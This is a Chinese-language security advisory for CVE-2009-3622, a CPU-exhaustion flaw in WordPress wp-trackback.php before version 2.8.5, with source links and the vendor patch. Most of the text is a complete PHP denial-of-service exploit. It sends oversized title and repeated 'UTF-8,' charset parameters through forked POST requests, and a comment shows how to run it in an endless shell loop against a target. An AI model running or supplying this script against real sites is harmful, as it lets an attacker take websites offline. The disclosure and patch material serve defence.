发布日期：2009-10-21
更新日期：2009-10-26

受影响系统：

WordPress WordPress < 2.8.5

不受影响系统：

WordPress WordPress 2.8.5

描述：

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CVE ID: CVE-2009-3622

WordPress是一款免费的论坛Blog系统。

WordPress的wp-trackback.php脚本允许用户向mb_convert_encoding()函数提交多个源字符编码。如果远程攻击者在提交的HTTP请求中包含有超长的标题参数和由多个逗号分隔的UTF-8子字符串所组成的字符集参数，就可以占用大量CPU资源。

<*来源：Jan Lieskovsky （jlieskov@redhat.com）
  
  链接：http://secunia.com/advisories/37088
        https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=530056
        http://marc.info/?l=full-disclosure&m=125595485506637&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php
/*
* wordpress Resource exhaustion Exploit
* http://rooibo.wordpress.com/
* security@wordpress.org contacted and get a response,
* but no solution available.
*
* [18/10/2009 20:31:00] modified by Zerial http://blog.zerial.org <panic@zerial.org>
*
* exploiting:
* you must install php-cli (command line interface)
* $ while /bin/true; do php wp-trackbacks_dos.php http://target.com/wordpress; done
*
*/
if(count($argv) < 2)
    die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
    die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
    $path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol';
for($n = 0; $n <= 5; $n++){
    $fp = @fsockopen($data['host'],80);
        if(!$fp)
        die("unable to connect to: ".$data['host']."\n");
    $pid[$n] = pcntl_fork();
    if(!$pid[$n]){
        fputs($fp, "POST $path HTTP/1.1\r\n");
        fputs($fp, "Host: ".$data['host']."\r\n");
        fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
        fputs($fp, "Content-length: ".strlen($str)."\r\n");
        fputs($fp, "Connection: close\r\n\r\n");
        fputs($fp, $str."\r\n\r\n");
        echo "hit!\n";
    }
}
?>

建议：

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厂商补丁：

WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://wordpress.org/development/2009/10/wordpress-2-8-5-hardening-release/

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